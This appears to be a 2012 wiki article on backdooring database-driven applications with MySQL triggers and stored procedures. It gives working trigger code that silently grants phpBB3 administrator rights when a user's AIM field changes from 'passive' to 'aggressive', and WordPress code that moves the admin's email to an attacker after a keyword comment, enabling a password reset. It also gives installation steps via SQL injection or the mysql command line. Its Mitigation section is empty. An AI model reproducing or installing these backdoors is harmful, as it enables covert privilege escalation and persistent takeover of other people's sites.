Latest revision as of 03:28, 20 September 2012

SQL Malware affects a variety of database-driven applications, including but not limited to web applications, services, and desktop applications. This breed of malware is made possible by the SQL functionality for triggers and stored sub-procedures.

Special thanks to hatter for his contributions to this article.

Concept

Subprocedures

• mysql> select 'select count(*) from information_schema.tables where table_schema=?' into @lol;
• mysql> select 'information_schema' into @arg;

delimiter #
CREATE PROCEDURE exec_sql(OUT param1 INT)
BEGIN
    PREPARE stmt FROM @lol;
    EXECUTE stmt USING @arg;
    SET param1=1;
END #
delimiter ;

• mysql> call exec_sql(@b);

If the query succeeded, you will be returned the count of the tables in the information_schema database. Selecting @b should also return `1'.

Event Procedures

If a table already has a trigger attached for the query type you are attempting to hook, installation of the backdoor will fail.

Implementation

These notes are for educational purposes only. Use of these code snippets on systems or databases that you do not own is a criminal act.

MySQL

• CREATE FUNCTION and CREATE PROCEDURE require the CREATE ROUTINE privilege to execute successfully. Depending on the security context of the CREATE statement's DEFINER clause, the SUPER privilege may also be required. (As of MySQL 5.0.3)
• CREATE TRIGGER requires the SUPER privilege on the selected database in order to execute successfully.
• CREATE TRIGGER was added to MySQL in version 5.0.2 and has not been removed since.

Syntax

Because MySQL procedures and triggers are meant to be stored by the SQL server rather than interpreted at runtime, a delimiter command must be used from the command line in order for the `;' character to pass through to the server unscathed. Create Trigger Syntax:

delimiter #
 create trigger trigger_name before [ update | insert | delete ] on table_name
 for each row begin
  [procedural sql code goes here]
 end; #
delimiter ;

Example A: phpBB3 backdoor (UPDATE hook)

Obtaining forum administrator level permissions on phpbb3 can allow an attacker to obtain remote code execution by enabling PHP in template files and embedding a PHP backdoor.

Code

delimiter #
CREATE TRIGGER update_users BEFORE UPDATE ON phpbb3_users
FOR EACH ROW BEGIN
    IF OLD.user_aim="passive" AND NEW.user_aim="aggressive" THEN
        SET NEW.group_id = 5;
        SET NEW.user_type = 3;
    END IF;
END;#
delimiter ;

Analysis

In phpBB3, default settings for user_type and group_id for an administrative user are 3 and 5, respectively. In order to ensure we don't trip our backdoor by accident, we require two actions to activate it. A user must first set their AIM (or AOL instant messenger) name in their forum profile to `passive'. This will meet the first criteria. Changing the AIM name directly from `passive' to `aggressive' will activate the backdoor and upgrade the user account to a forum administrator.

Example B: Wordpress backdoor (INSERT hook)

Wordpress provides an administrative interface for editing PHP, css, and html files. Once administrative access is obtained, obtaining remote code execution is trivial.

Code

delimiter #
CREATE TRIGGER user_comment BEFORE INSERT ON wp_comments
FOR EACH ROW BEGIN
    IF NEW.comment_content = 'way around the back' THEN
       SELECT user_email FROM wp_users WHERE id=NEW.user_id INTO @email;
       UPDATE wp_users SET user_email=@email WHERE ID=1;
    END IF;
END;#
delimiter ;

Analysis

When a comment is posted with the content "way around the back", the admin (ID = 1) user's email is immediately updated to the email of the user posting the content. The attacker can then go click the forgot password link and check their email to reset the administrator password.

Backdoor Installation

Due to the fact that they lie virtually dormant until conditions are met and typically ensure privilege escalation to code execution, backdoors of this type are typically installed after a machine is compromised in case of the event that access is lost.

Access/Configuration Requirements

One of the following is necessary to install your backdoor:

• MySQL CLI Access
• Ability to write files on the target system
• Multiple queries allowed in the SQL statements from the SQL api in use

Writing to file and using "source"

• Write the code contents to a .sql file (we will use file.sql as an example)
• From an SQL injection vulnerability or from the mysql command line, execute the query:

 source /path/to/file.sql

Writing directly into the command line

• Invoke `mysql -uuser -ppassword [database_name]' from the bash command line.
• If you forgot to specify the database name, simply typing `use [databasename]' will resolve this.
• Paste the code exactly as it is on this page into the MySQL terminal.

Mitigation

Taking it further

• MySQL also supports plug-ins. A user must have the INSERT permission on the INFORMATION_SCHEMA.PLUGINS table to install one, however a daemon plug-in is capable of using sockets and maintaining its own event loop inside of a pthread in C. Daemon plug-ins are also allowed filesystem access.
• PostgreSQL not only provides a functional SQL API, but also allows for procedures to be written in TCL, ruby, perl, or python. Additionally, PostgreSQL also supports user-defined routines in C.